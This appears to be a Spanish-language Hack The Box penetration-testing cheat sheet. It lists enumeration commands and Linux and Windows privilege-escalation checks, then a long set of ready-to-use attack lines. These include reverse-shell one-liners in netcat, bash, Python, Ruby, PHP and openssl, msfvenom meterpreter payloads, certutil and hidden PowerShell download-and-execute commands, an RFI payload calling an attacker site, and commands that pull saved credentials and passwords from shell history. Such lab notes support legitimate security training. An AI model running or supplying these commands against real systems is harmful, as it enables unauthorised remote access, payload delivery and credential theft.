HackTheBox - Notas
ENUMERACION
NMAP
nmap -sV -sT -sC [IP] -o nmap.scan nmap -sT -p- --min-rate <rate> [IP] -o nmap.scan nmap -sV -sC -p [puerto,puerto,puerto,...] [IP] -o nmap.scan nmap --script=smb-check-vulns --script-args=unsafe=1 -p445 [IP]</rate>
MASSCAN
masscan -p1-65535,U:1-65535 [IP] --rate=1000 -e [INTERFAZ]
SMB
enum4linux [IP] smbclient -L [IP] smbclient \\[IP]\shareName
RPC
rpcinfo -p [IP]
NSF
showmount -e [IP] showmount -d [IP] showmount -a [IP]
NSF - Metasploit
auxiliary/scanner/nfs/nfsmount
SMTP
nmap --script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 [IP]
snmp-check [IP]
smtp-user-enum -U /path/to/wordlist.txt -t [IP] -m 150
snmpwalk -c public -v1 [IP]
HTTP/FUERZA BRUTA A DIRECTORIOS/ESCANEO DE VULNERABILIDADES
nikto -h [IP] gobuster -u http://[IP]/ -w /path/to/wordlist.txt -np -t 15 -x php,html,txt dirb http://[IP]/ wfuzz -w /path/to/wordlist.txt -u http://[IP]/WFUZZ --hc 404 dirbuster [GUI]
ENUMERACION DE SUBDOMINIOS
wfuzz -w /path/to/subdomains.txt -H "Host: FUZZ.WEBSITE" -u <ip> --hc|hl|hw|hh </ip>
SHELLS - GANANDO ACCESO
NETCAT
LISTENING:
nc -lvp [PUERTO] nc -e /bin/sh [IP] [PUERTO] nc -e cmd.exe [IP] [PUERTO] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PUERTO] >/tmp/f
BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PYTHON
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[PUERTO]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PYTHON - IPV6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("[IPV6]",[PUERTO],0,0));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
NCAT - IPV6 [ESCUCHA]
ncat -6 -l -p 4545
RUBY
ruby -rsocket -e'f=TCPSocket.open("[IP]",[PUERTO]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PHP
php -r '$sock=fsockopen("[IP]",[PUERTO]);exec("/bin/sh -i <&3 >&3 2>&3");'
SHELL INTERACTIVA
TTY - PYTHON
python -c 'import pty; pty.spawn("/bin/sh")' python3 -c 'import pty; pty.spawn("/bin/sh")'
SALTAR SHELL RESTRINGIDA
linux-restricted-shell-bypass-guideDESCARGA DE ARCHIVOS
CURL
curl -X GET http://[IP]:[PUERTO]/archivo.ext --output /tmp/archivo.ext
WGET
wget http://[IP]:[PUERTO]/archivo.ext -o /tmp/archivo.ext
SERVIDOR LOCAL
python -m SimpleHTTPServer 80 python3 -m http.server 80 php -S 0.0.0.0:80
APACHE
Archivos: /var/www/html/ service apache2 start
PRIVILEGE ESCALATION - LINUX
VERSION DEL KERNEL
uname -a cat /proc/version cat /etc/issue
SEARCHSPLOIT
searchsploit -v [NOMBRE-EXPLOIT]
SUDO
sudo -l -l
SUDO
https://touhidshaikh.com/blog/?p=790SUID
find / -perm -4000 2> /dev/null | xargs ls -lah find / -perm -u=s -type f 2>/dev/null
GUID
find / -perm -g=s -type f 2>/dev/null
DIRECTORIOS CON PERMISOS DE ESCRITURA
find / -writable -type d 2>/dev/null find / -perm -222 -type d 2>/dev/null find / -perm -o w -type d 2>/dev/null
LINENUM
https://github.com/rebootuser/LinEnumLINUXPRIVCHECKER
https://github.com/sleventyeleven/linuxprivcheckerUNIX-PRIVESC-CHECK
http://pentestmonkey.net/tools/audit/unix-privesc-checkPRIVILEGE ESCALATION - WINDOWS
http://pwnwiki.io/#!privesc/windows/index.mdhttps://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://github.com/sagishahar/lpeworkshop
https://github.com/frizb/Windows-Privilege-Escalation
WINENUM
https://github.com/mattiareggiani/WinEnumBASH
Get-ChildItem -Path c:\temp\*.txt -Recurse Get-ChildItem -Path c:\bash.exe -Recurse
WINDOWS-PRIVESC-CHECK
https://github.com/pentestmonkey/windows-privesc-check/blob/master/docs/QuickStartUsage.mdCOMANDOS
FIREWALL
cmd /c "netsh advfirewall firewall show rule name=all|findstr Name:"
INFORMACION DEL SISTEMA
systeminfo
CONTRASEÑAS ALMACENADAS
cmdkeys /list
RUNAS
runas runas /savecred /noprofile /user:\<username> payload.exe</username>
EXTENSIONES
echo %PATHEXT%
PASSWORDS
cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls password cat (Get-PSReadlineOption).HistorySavePath | sls accountpassword
PAYLOADS - MSFVENOM
msfvenom -p [PAYLOAD] LHOST=[IP] LPORT=[PUERTO] -f exe > payload.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=5656 -f exe > payload.exe
EJECUCION DE COMANDOS
msfvenom -f dll -p windows/exec CMD="C:\windows\system32\calc.exe" -o shell32.dll
MSFVENOM:
https://liberty-shell.com/sec/2018/02/10/msfv/CERTUTIL
certutil.exe -urlcache -f http://[IP]/archivo.exe -o C:/Users/Public/archivo.exe
CERTUTIL:
http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.htmlPOWERSHELL
powershell -command "(new-object System.Net.WebClient).DownloadFile('http://[IP]:[PUERTO]/archivo.exe', 'archivo.exe')" wget http://[IP]/archivo.exe -o C:\Users\Public\archivo.exe wget http://[IP]/nc.exe -o C:\Users\Public\nc.exe; C:\Users\Public\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [IP] [PUERTO] powershell -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/aspiggy/Cloudpower/master/rev.ps1'); rev -ip [IP] -port [PUERTO]"
SQLI
https://www.tarlogic.com/SQLMAP
sqlmap -u "http://[IP|website]/" --dbs sqlmap -u "http://[IP|website]/" -D database --tables sqlmap -u "http://[IP|website]/" -D database -T tabla --columns sqlmap -u "http://[IP|website]/" -D database -T tabla -C columna --dump
POST
sqlmap -u "http://[IP|website]/login.php" -method "POST" -data "username=admin&password=admin&submit=Submit" -p username, password --dump
ESPECIFICAR BASE DE DATOS
sqlmap -u "http://[IP|website]/" --dbms=MYSSQL --level=5 --risk=3
MEDIANTE ARCHIVO POST/GET
sqlmap -r [REQUEST.txt] --dbs --level=5 --risk=3
MSSQL INJECTION
https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/
https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478
TPLMAP - Server-Site Template INJECTION
https://github.com/epinna/tplmapXXE injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injectionLFI
https://github.com/qazbnm456/awesome-security-trivia/blob/master/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.mdhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md
RFI
http://[host]/vuln_page.php?file=http://attacker_site/malicous_page http://[host]/vuln_page.php?file=http://pastebin.com/archivo.txt?:
RECURSOS:
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-payload-pattern-and-calculating-offsethttps://hackingandsecurity.blogspot.com/2017/08/go-for-oscp.html
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
OPENSSL - Reverse Shell
Local
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
Victima
mkfifo /tmp/z; /bin/bash -i < /tmp/z 2>&1 | openssl s_client -quiet -connect 192.168.1.1:8080 > /tmp/z
